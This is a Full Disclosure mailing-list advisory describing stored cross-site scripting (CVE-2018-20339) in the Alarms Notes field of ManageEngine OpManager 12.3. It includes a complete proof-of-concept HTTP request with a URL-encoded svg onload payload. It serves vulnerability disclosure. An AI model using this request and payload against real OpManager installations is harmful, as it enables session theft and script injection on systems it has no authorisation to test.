Message-ID: <CAFaE3DAmm0CmKrBcwwfsay_XDkNCV16mVkDNSLfdN2RH_OgYMg@mail.gmail.com>
Date: Fri, 21 Dec 2018 11:40:16 +0300
From: Murat Aydemir <murat.aydemir@...net.com.tr>
To: fulldisclosure@...lists.org
Subject: [FD] Zoho ManageEngine OpManager 12.3 before build 123239 allows
 XSS in the Notes column of the Alarms section

I. VULNERABILITY
-------------------------
Zoho ManageEngine OpManager 12.3 before build 123239 allows XSS in the
Notes column of the Alarms section

II. CVE REFERENCE
-------------------------
CVE-2018-20339

III. VENDOR
-------------------------
https://www.manageengine.com

IV. TIMELINE
-------------------------
20/11/18 Vulnerability discovered
20/11/18 Vendor contacted
20/12/2018 OPManager replay that they fixed

V. CREDIT
-------------------------
Murat Aydemir from Biznet Bilisim A.S.

VI. DESCRIPTION
-------------------------
ManageEngine OPManager product(version 12.3) was vulnerable to stored
xss attacks. A successfully exploit of this attack could allow thief
users sessions or arbitrary interpret javascript code on remote host.
References: https://www.manageengine.com/network-monitoring/help/read-me.html,
https://bugbounty.zoho.com/bb/info#hof

VII. PoC
-------------------------
POST /api/json/alarm/addNotes?apiKey=5f5e26abc7bf2af2a5669cf258ec8385&isFluidic=true
HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://vulnerablehost/apiclient/ember/index.jsp
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 113
Cookie: JSESSIONID=DF47AA5596862216FF9BBBAE234975C1;
encryptPassForAutomaticSignin=82a3161ad68e57b6;
userNameForAutomaticSignin=admin;
domainNameForAutomaticSignin=Authenticator; signInAutomatically=true;
authrule_name=Authenticator;
opmcsrfcookie=5bb7df90-d1a4-4942-ae64-e5308fb5d501;
f2RedirectUrl=http%3A%2F%2F192.168.252.150%3A8061%2Fapiclient%2Fember%2Findex.jsp%23%2FAlarms%2FAlarm%2FDetails%2Fkkkkk_192.168.252.150_URL_Poll;
NFA__SSO=57D7F0938B20457F49BB1791E756CAC3
DNT: 1
Connection: close

notes=aabbcc%22%3E%3Csvg%2Fonload%3Dconfirm('xss_in_notes_parameter')%2F%2F&entity=kkkkk_192.168.252.150_URL_Poll

-- 




    
    



Bu mesaj ve ekleri, mesajda 
gönderildiği belirtilen 
kişi/kişilere özeldir ve gizlidir. Bu mesaj 
herhangi bir amaç için 
çoğaltılamaz, dağıtılamaz ve yayınlanamaz. 
Mesajın gönderildiği kişi 
değilseniz, mesaj içeriğini ya da eklerini 
kopyalamayınız, yayınlamayınız 
ya da başka kişilere yönlendirmeyiniz ve 
mesajı gönderen kişiyi derhal 
uyararak bu mesajı siliniz. Şirketimiz, 
mesajın içeriğinin ve eklerinin 
size değişikliğe uğrayarak veya geç 
ulaşmasından; gizliliğinin 
korunmamasından; virüs içermesinden ve 
bilgisayar sisteminize verebileceği 
herhangi bir zarardan sorumlu 
değildir


This message and its 
attachments 
are confidential and intended solely for the recipient(s) 
stated therein. 
This message cannot be copied, distributed or published 
for any purpose. 
If you are not the intended recipient, please do not 
copy, publish or 
forward the information existing in the content and 
attachments of this 
message. In such case please notify the sender 
immediately and delete all 
the copies of the message. Our company shall 
have no liability for any 
changes in or late receiving of the message, 
loss of integrity and 
confidentiality, viruses and any damages caused in
 anyway to your computer 
system based on this message.


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists